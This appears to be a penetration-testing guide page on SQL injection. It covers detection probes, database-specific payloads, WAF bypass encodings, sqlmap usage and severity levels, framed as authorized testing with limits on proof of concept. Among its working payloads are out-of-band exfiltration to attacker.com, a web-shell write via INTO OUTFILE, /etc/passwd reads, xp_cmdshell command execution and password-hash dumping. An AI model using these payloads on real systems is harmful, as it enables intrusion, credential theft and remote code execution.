Skip to main content
CWECWE-89, CWE-564
WSTGWSTG-INPV-05
MITRE ATT&CKT1190
CVSS Range6.1-9.8
Toolssqlmap, ghauri
Difficulty🟡 intermediate

SQL Injection

Detect and exploit SQL injection by injecting metacharacters into all input vectors, confirming query manipulation, and extracting data to demonstrate impact.

Quick Reference​

The most commonly used payloads for rapid testing. Try these first against every parameter you encounter.

Detection probes (inject individually):

'
"
`
;
' OR '1'='1
' OR '1'='1'--
" OR "1"="1
1 OR 1=1
1' AND '1'='1
1' AND '1'='2

Database version extraction (once injection is confirmed):

-- MySQL
' UNION SELECT @@version,NULL,NULL--

-- PostgreSQL
' UNION SELECT version(),NULL,NULL--

-- MSSQL
' UNION SELECT @@VERSION,NULL,NULL--

-- Oracle
' UNION SELECT banner,NULL,NULL FROM v$version WHERE ROWNUM=1--

-- SQLite
' UNION SELECT sqlite_version(),NULL,NULL--

Time-based confirmation (blind testing):

-- MySQL:    ' AND SLEEP(5)--
-- Postgres: '; SELECT pg_sleep(5);--
-- MSSQL: '; WAITFOR DELAY '0:0:5';--
-- Oracle: ' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--

NoSQL injection probes (for MongoDB/document stores):

{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

Detecting Injection Points​

Identifying Injection Points​

Test ALL input vectors systematically. Do not limit yourself to obvious URL parameters. Check every point where user input reaches the application:

  • URL parameters (GET): ?id=1, ?search=test, ?sort=name
  • POST body parameters: {"username": "test"}, username=admin&password=test
  • Cookies: session_id=abc123, preferences=...
  • HTTP headers: User-Agent, X-Forwarded-For, Referer, Accept-Language
  • JSON/XML field values in API request bodies
  • File upload metadata: filename, content-type fields
  • GraphQL variables and query parameters
  • REST API path segments: /api/users/1 (the 1 may be injected into a query)

Initial Probing​

Start with minimal, non-destructive probes to identify potential injection points without triggering security alerts.

Step 1: Apply single-character probes to each input. Test with SQL metacharacters individually:

  • Single quote: '
  • Double quote: "
  • Backtick: `
  • Semicolon: ;
  • Parentheses: ( )
  • Comment markers: -- # /*

Step 2: Observe response indicators.

Positive indicators (potential SQLi):

  • SQL error messages (syntax error, query failed)
  • Different HTTP status codes (500, 403)
  • Different response lengths compared to baseline
  • Different response times
  • Missing data that should be present
  • Generic error messages that differ from normal errors

Step 3: Baseline comparison.

# Baseline request
curl -s "https://target.com/api/users?id=1" | wc -c
# Output: 4521

# Single quote probe
curl -s "https://target.com/api/users?id=1'" | wc -c
# Output: 1203 (different = interesting!)

# Verify with valid syntax
curl -s "https://target.com/api/users?id=1' AND '1'='1" | wc -c
# Output: 4521 (same as baseline = SQL context confirmed!)

Confirming Injection​

Once you identify a potential injection point, confirm it is exploitable using boolean and time-based techniques.

Boolean-based confirmation:

# True condition (should return normal data)
curl "https://target.com/api/users?id=1 AND 1=1"
# For string context:
curl "https://target.com/api/users?name=admin' AND '1'='1"

# False condition (should return no data or error)
curl "https://target.com/api/users?id=1 AND 1=2"
# For string context:
curl "https://target.com/api/users?name=admin' AND '1'='2"

If the true condition returns data and the false condition does not, injection is confirmed.

Time-based confirmation:

# MySQL
curl -o /dev/null -s -w "Time: %{time_total}\n" \
"https://target.com/api/users?id=1' AND SLEEP(5)--"

# PostgreSQL
curl -o /dev/null -s -w "Time: %{time_total}\n" \
"https://target.com/api/users?id=1'; SELECT pg_sleep(5);--"

# MSSQL
curl -o /dev/null -s -w "Time: %{time_total}\n" \
"https://target.com/api/users?id=1'; WAITFOR DELAY '0:0:5';--"

If the response takes 5+ seconds, time-based blind SQLi is confirmed.

Identifying the Injection Context​

Understanding WHERE your input lands in the query is critical. Different contexts require different payload syntax.

ContextExample QueryInjectionNotes
StringWHERE name = '[INPUT]'' OR '1'='1Break out of string delimiter
NumericWHERE id = [INPUT]1 OR 1=1No quotes needed
Column/TableORDER BY [INPUT](SELECT 1 FROM users WHERE admin=1)Subquery or function-based
IN clauseWHERE id IN ([INPUT])1) OR (1=1Close parenthesis first
LIKE clauseWHERE name LIKE '%[INPUT]%'') OR ('1'='1Close paren and quote

Database Fingerprinting​

Fingerprint the database to tailor your exploitation payloads.

Error-based fingerprinting:

' AND 1=CONVERT(int,(SELECT @@version))--   -- MSSQL (CONVERT function)
' AND 1=1::int-- -- PostgreSQL (:: cast syntax)
' AND LENGTH(DATABASE())>0-- -- MySQL-specific
' AND LENGTH(current_database())>0-- -- PostgreSQL-specific
' AND LEN(DB_NAME())>0-- -- MSSQL-specific

Concatenation-based fingerprinting:

' AND 'ab'='a' 'b'--     -- MySQL (space concatenation)
' AND 'ab'='a'||'b'-- -- PostgreSQL/Oracle (|| operator)
' AND 'ab'='a'+'b'-- -- MSSQL (+ operator)

Database-Specific Reference​

Each database has unique syntax, functions, and capabilities. Use this reference to tailor your payloads after fingerprinting.

MySQL / MariaDB​

FeatureSyntax
Comments#, --, /* */
String concatCONCAT(), or 'a' 'b' (space separator)
Version@@version, VERSION()
Current DBDATABASE()
Time delaySLEEP(n), BENCHMARK(iterations, expr)
Stacked queriesSupported with mysqli_multi_query
File readLOAD_FILE('/path')
File writeINTO OUTFILE '/path'

PostgreSQL​

FeatureSyntax
Comments--, /* */
String concat'a' || 'b', CONCAT()
Versionversion()
Current DBcurrent_database()
Time delaypg_sleep(n)
Stacked queriesFully supported
Command executionCOPY TO/FROM PROGRAM (9.3+)

Microsoft SQL Server​

FeatureSyntax
Comments--, /* */
String concat'a' + 'b', CONCAT()
Version@@VERSION
Current DBDB_NAME()
Time delayWAITFOR DELAY '0:0:5'
Stacked queriesFully supported
Command executionxp_cmdshell (if enabled)

Oracle​

FeatureSyntax
Comments--, /* */
String concat'a' || 'b', CONCAT()
VersionSELECT banner FROM v$version
Current DBSELECT ora_database_name FROM dual
Time delayDBMS_PIPE.RECEIVE_MESSAGE(('a'),5)
Stacked queriesNot supported in standard context
NULL handlingRequires FROM dual for SELECT

SQLite​

FeatureSyntax
Comments--, /* */
String concat'a' || 'b'
Versionsqlite_version()
List tablesSELECT name FROM sqlite_master WHERE type='table'
Time delayNot native (use heavy computation)
Stacked queriesNot supported in standard mode

Exploiting Stacked Queries​

Stacked queries allow executing multiple SQL statements in a single request, enabling INSERT, UPDATE, DELETE, and potentially command execution.

Supported by: PostgreSQL (full), MSSQL (full), MySQL (only with mysqli_multi_query) Not supported by: Oracle (standard context), SQLite (standard mode)

Test for stacked query support:

'; SELECT pg_sleep(5);--           -- PostgreSQL
'; WAITFOR DELAY '0:0:5';-- -- MSSQL
'; SELECT SLEEP(5);-- -- MySQL (requires mysqli_multi_query)

Read-only proof of concept:

'; CREATE TEMPORARY TABLE test_sqli (data VARCHAR(100)); INSERT INTO test_sqli VALUES ('poc'); SELECT * FROM test_sqli;--

CAUTION: Never execute INSERT, UPDATE, or DELETE on production data. Use SELECT-only proof of concept payloads.

Exploiting Second-Order Injection​

Second-order SQLi occurs when malicious input is stored and later used in a different SQL query without proper sanitization. This is harder to detect because the injection point and the trigger point are different.

Common Vectors​

  • User profile fields (username, bio) used in admin queries
  • Search terms stored in logs, later displayed in analytics
  • File metadata stored and used in file listing queries
  • Comments or notes that are later included in reports

Detection Methodology​

  1. Inject payloads into stored fields:

    Username: admin'--test
    Bio: test' OR '1'='1
  2. Navigate to areas that might use this data differently:

    • Admin panels showing user lists
    • Export/report features
    • API endpoints that aggregate data
    • Email templates using stored data
  3. Look for SQL errors or unexpected behavior when stored data is processed.

Example Scenario​

Step 1: Register with username: admin'--
Step 2: Login normally
Step 3: Admin views user list
Step 4: Query becomes: SELECT * FROM users WHERE username = 'admin'--'
Step 5: SQL error or modified query behavior reveals vulnerability

Out-of-Band Exfiltration​

When no in-band data return is possible (blind injection with no response differences and unreliable timing), try exfiltrating data via DNS or HTTP requests to an attacker-controlled server.

MySQL​

-- Requires LOAD_FILE capability
' AND LOAD_FILE(CONCAT('\\\\',DATABASE(),'.attacker.com\\x'))--

-- URL encode data for DNS safety
' AND LOAD_FILE(CONCAT('\\\\',HEX(DATABASE()),'.attacker.com\\x'))--

Microsoft SQL Server​

-- xp_dirtree (common)
'; EXEC master..xp_dirtree '\\attacker.com\share';--

-- With data exfiltration
'; DECLARE @x VARCHAR(100); SELECT @x=@@version; EXEC('master..xp_dirtree "\\'+@x+'.attacker.com\\x"');--
-- Requires dblink extension
'; SELECT dblink_connect('host=attacker.com user='||version()||' password=x');--

Oracle​

-- UTL_HTTP
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT banner FROM v$version WHERE ROWNUM=1))--

-- DNS exfiltration
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE ROWNUM=1)||'.attacker.com')--

Bypassing WAFs​

Encoding Bypasses​

URL encoding:

' = %27       " = %22       Space = %20 or +
= = %3D < = %3C > = %3E / = %2F

Double URL encoding:

' = %2527     " = %2522

Unicode encoding:

' = %u0027    < = %u003c

Hex encoding (MySQL):

SELECT 0x61646d696e;               -- 'admin' in hex
SELECT CHAR(97,100,109,105,110); -- 'admin' as chars

Case and Syntax Variations​

Case manipulation:

SeLeCt, SELECT, select, sElEcT
UnIoN, UNION, union, uNiOn

Keyword splitting with comments:

UN/**/ION SEL/**/ECT
U/**/N/**/I/**/O/**/N S/**/E/**/L/**/E/**/C/**/T

Whitespace alternatives:

SELECT/**/username/**/FROM/**/users       -- Block comment
SELECT%09username%09FROM%09users -- Tab
SELECT%0ausername%0aFROM%0ausers -- Newline

Characters that can replace spaces:

%09 (Tab)    %0a (Newline)    %0b (Vertical tab)    %0c (Form feed)
%0d (Carriage return) %a0 (Non-breaking space) /**/ (Block comment)

Comment Bypasses​

-- (double dash)
# (hash - MySQL only)
/* */ (block comment)
/*! */ (MySQL conditional comment)

-- MySQL version comments: execute if version >= threshold
/*!50000SELECT*/ -- Executes if MySQL >= 5.0
UNION/*!50000SELECT*/NULL,NULL

Function and Operator Alternatives​

Substring alternatives:

SUBSTRING(str,1,1)    SUBSTR(str,1,1)    MID(str,1,1)  -- MySQL
LEFT(str,1) RIGHT(str,1)

Concatenation alternatives:

CONCAT(a,b)           CONCAT_WS('',a,b)
a||b -- PostgreSQL/Oracle a+b -- MSSQL

Comparison alternatives:

WHERE a=b              WHERE a LIKE b
WHERE a REGEXP b WHERE a BETWEEN b AND b
WHERE NOT(a<>b)

Quote-free string construction:

SELECT CHAR(97,100,109,105,110)                               -- MySQL
SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110) -- PostgreSQL

Parameter Pollution and Fragmentation​

HTTP Parameter Pollution (HPP):

?id=1&id=' UNION SELECT
?id=1/*&id=*/UNION SELECT/*&id=*/NULL

Framework behavior with duplicate parameters:

  • ASP.NET: Takes first
  • PHP: Takes last
  • JSP: Concatenates

Fragmentation across parameters:

POST body: param1=UNI&param2=ON SEL&param3=ECT NULL

Post-Exploitation​

After confirming SQLi and extracting initial proof, pursue additional impact evidence to accurately rate severity.

Database Enumeration​

-- Current user and privileges
SELECT user() -- MySQL
SELECT current_user -- PostgreSQL
SELECT SYSTEM_USER -- MSSQL

-- DBA check
SELECT super_priv FROM mysql.user WHERE user=user() -- MySQL
SELECT rolname FROM pg_roles WHERE rolsuper=true -- PostgreSQL
SELECT IS_SRVROLEMEMBER('sysadmin') -- MSSQL

File System Access​

-- MySQL file read (requires FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--

-- MySQL file write
' INTO OUTFILE '/var/www/html/shell.php' FIELDS TERMINATED BY '<?php system($_GET["cmd"]); ?>'--

-- PostgreSQL file read
' UNION SELECT pg_read_file('/etc/passwd',0,1000),NULL,NULL--

-- MSSQL file read via bulk insert
'; BULK INSERT tmpTable FROM '/etc/passwd';--

Command Execution​

-- MSSQL (xp_cmdshell)
'; EXEC xp_cmdshell 'whoami';--

-- PostgreSQL (COPY TO PROGRAM, 9.3+)
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned.txt';--

-- MySQL (via UDF if available)
-- Requires writing shared library to plugin directory

Credential Harvesting​

-- Extract password hashes (limit to proof-of-concept rows)
' UNION SELECT username,password,NULL FROM users LIMIT 5--

-- MySQL password hashes
SELECT user,authentication_string FROM mysql.user

-- PostgreSQL password hashes
SELECT usename,passwd FROM pg_shadow

Tools​

sqlmap (Primary Tool)​

sqlmap is the industry-standard SQL injection tool. Use it to automate detection, exploitation, and data extraction.

Basic usage:

# Test a URL parameter
sqlmap -u "https://target.com/api?id=1" --batch

# Test POST data
sqlmap -u "https://target.com/login" --data="username=admin&password=test" --batch

# Test with authentication cookies
sqlmap -u "https://target.com/api?id=1" --cookie="session=abc123" --batch

# Test specific parameter only
sqlmap -u "https://target.com/api?id=1&name=test" -p id --batch

Advanced usage:

# Higher risk and level (more aggressive)
sqlmap -u "URL" --risk=3 --level=5 --batch

# Specify database type
sqlmap -u "URL" --dbms=mysql --batch

# Specify technique
sqlmap -u "URL" --technique=BEUSTQ --batch
# B=Boolean, E=Error, U=Union, S=Stacked, T=Time, Q=Inline

# Enumerate databases
sqlmap -u "URL" --dbs --batch

# Enumerate tables in a database
sqlmap -u "URL" -D database_name --tables --batch

# Dump specific table (LIMIT TO PROOF -- 5 rows max)
sqlmap -u "URL" -D database_name -T users --dump --start=1 --stop=5 --batch

# Extract current user and database
sqlmap -u "URL" --current-user --current-db --is-dba --batch

WAF bypass with sqlmap:

sqlmap -u "URL" --tamper=space2comment,between --batch
sqlmap -u "URL" --tamper=space2comment,randomcase,charencode --batch
sqlmap -u "URL" --random-agent --delay=2 --batch

Ghauri (sqlmap Alternative)​

Use when sqlmap fails due to WAF, or for verification of sqlmap findings.

ghauri -u "https://target.com/api?id=1"
ghauri -u "https://target.com/api?id=1" --dbs

Assessing Impact​

Progress through these levels to maximize the severity rating of your findings. Each level builds on the previous one.

Level 1: Basic Detection (Low)​

Demonstrates that the application processes SQL metacharacters differently.

Required evidence:

  • SQL error message triggered by metacharacter
  • Different response for valid vs invalid SQL syntax
  • Stack trace mentioning SQL/database components
Request: GET /api/users?id=1'
Response: "syntax error at or near..."

Level 2: Confirmed Vulnerability (Medium)​

Demonstrates control over query logic.

Required evidence:

  • True condition returns data, false condition does not
  • Time delay can be controlled via injection
  • OR 1=1 payloads modify the result set
Request A: GET /api/users?id=1 AND 1=1 -> Returns user data
Request B: GET /api/users?id=1 AND 1=2 -> Returns no data
Conclusion: Boolean-based SQL injection confirmed

Level 3: Demonstrated Impact (High)​

Demonstrates actual data extraction or authentication bypass.

Required evidence:

  • Database version extracted
  • Table/column enumeration completed
  • Sample data from unauthorized tables accessed
  • Authentication bypass achieved
Request: GET /api/users?id=-1 UNION SELECT version(),NULL,NULL--
Response: "PostgreSQL 13.4 on x86_64-pc-linux-gnu"

Request: GET /api/users?id=-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
Response: ["users", "orders", "payment_info", ...]

Level 4: Critical Impact (Critical)​

Demonstrates severe impact: credential theft, file system access, or RCE.

Required evidence:

  • Password hashes extracted
  • File read from server filesystem
  • OS command execution demonstrated
  • Database admin access obtained
-- Password hash extraction
Request: GET /api?id=-1 UNION SELECT username,password,NULL FROM users--
Response: admin:$2b$10$K8f5H...

-- File read (MySQL)
Request: GET /api?id=-1 UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--
Response: "root:x:0:0:root:/root:/bin/bash..."

-- Command execution (MSSQL with xp_cmdshell)
Request: GET /api?id=1'; EXEC xp_cmdshell 'whoami';--
Response: "nt authority\network service"

Writing Proof of Concept​

When writing up findings, follow these rules:

DO:

  • Use SELECT statements only for data extraction
  • Limit extracted data to the minimum needed for proof (5 records max)
  • Document exact reproduction steps with full HTTP requests
  • Include baseline (normal) response alongside injected response
  • Show the complete request/response pair, not just the payload
  • Report findings through proper channels immediately
  • Clean up any test artifacts (temporary tables, files)

DO NOT:

  • Execute INSERT, UPDATE, or DELETE statements
  • Drop tables or modify the schema
  • Attempt to create persistent backdoors
  • Exfiltrate entire databases
  • Store extracted credentials insecurely
  • Continue testing after sufficient proof is gathered

Evidence Collection Workflow​

# Step 1: Confirm injection type
sqlmap -u "URL" --batch -v 3 2>&1 | tee sqli_detection.log

# Step 2: Get database banner
sqlmap -u "URL" --banner --batch 2>&1 | tee sqli_banner.log

# Step 3: List databases
sqlmap -u "URL" --dbs --batch 2>&1 | tee sqli_databases.log

# Step 4: Get current user context
sqlmap -u "URL" --current-user --current-db --is-dba --batch 2>&1 | tee sqli_context.log

# Step 5: Extract minimal proof (5 rows only)
sqlmap -u "URL" -D db -T users --dump --start=1 --stop=5 --batch 2>&1 | tee sqli_proof.log

Avoiding False Positives​

False Positive Indicators​

These are NOT SQL injection:

  • Generic 500 errors that occur for any malformed input
  • Rate limiting responses (429)
  • WAF blocks that apply to any suspicious character
  • Application-level input validation errors (400 Bad Request)
  • JSON parsing errors when input contains quotes

How to differentiate:

# Test if ANY special character causes same error
curl "https://target.com/api?id=<test>" # XSS-like input
curl "https://target.com/api?id=1'" # SQL-like input
curl "https://target.com/api?id=../etc" # Path traversal-like input

# If all produce identical errors, likely WAF or input validation, not SQLi

Common Mistakes​

MistakeFix
Assuming error means injectionVerify with boolean conditions (true vs false difference)
Not identifying correct quote styleTest both ' and ", also backticks
Wrong database syntaxFingerprint database type first, then use appropriate payloads
Missing injection pointsTest ALL input vectors: headers, cookies, JSON fields, not just URL params
Giving up after WAF blocksApply bypass techniques systematically before concluding
Not considering injection contextAnalyze whether input is in string, numeric, or other context

Prioritization​

Test these first (highest real-world exploitability)​

  1. Error-based and UNION-based SQLi on authenticated endpoints -- EPSS >0.7 for known CVEs. These are the most commonly exploited in the wild because they provide immediate data extraction with minimal effort.
  2. Boolean-based blind SQLi on search/filter parameters -- Search, sort, and filter parameters are the most common injection points in modern applications and frequently lack parameterized queries.
  3. Time-based blind SQLi on login and authentication endpoints -- Auth endpoints handle high-value data and are frequently targeted. Even blind injection here is critical due to credential access.

Test these if time permits (lower exploitability)​

  1. Second-order SQLi via stored input -- Harder to detect and exploit, lower EPSS. Requires multi-step interaction (store payload, trigger in different context). Test if the application stores user input that appears in admin panels or reports.
  2. NoSQL injection variants -- Niche attack surface. Only test if MongoDB, CouchDB, or other document stores are detected (check error messages, response headers, technology fingerprinting).
  3. Out-of-band exfiltration -- Requires specific database privileges (FILE in MySQL, dblink in PostgreSQL) and network egress. Last resort when all other techniques fail.

Skip if​

  • No database interaction detected (static pages, CDN-served content, pure client-side apps)
  • All parameters are strictly typed and validated (integer-only IDs with 400 responses on non-numeric input)

Note: ORM usage does not prevent SQL injection. Frameworks like Django (.raw()), SQLAlchemy (text()), and ActiveRecord (.find_by_sql()) all support raw queries.

Asset criticality​

Prioritize by endpoint sensitivity: authentication endpoints > payment/financial endpoints > user data endpoints > search/listing endpoints > static content endpoints. Spend more time on endpoints that handle PII, credentials, or financial data.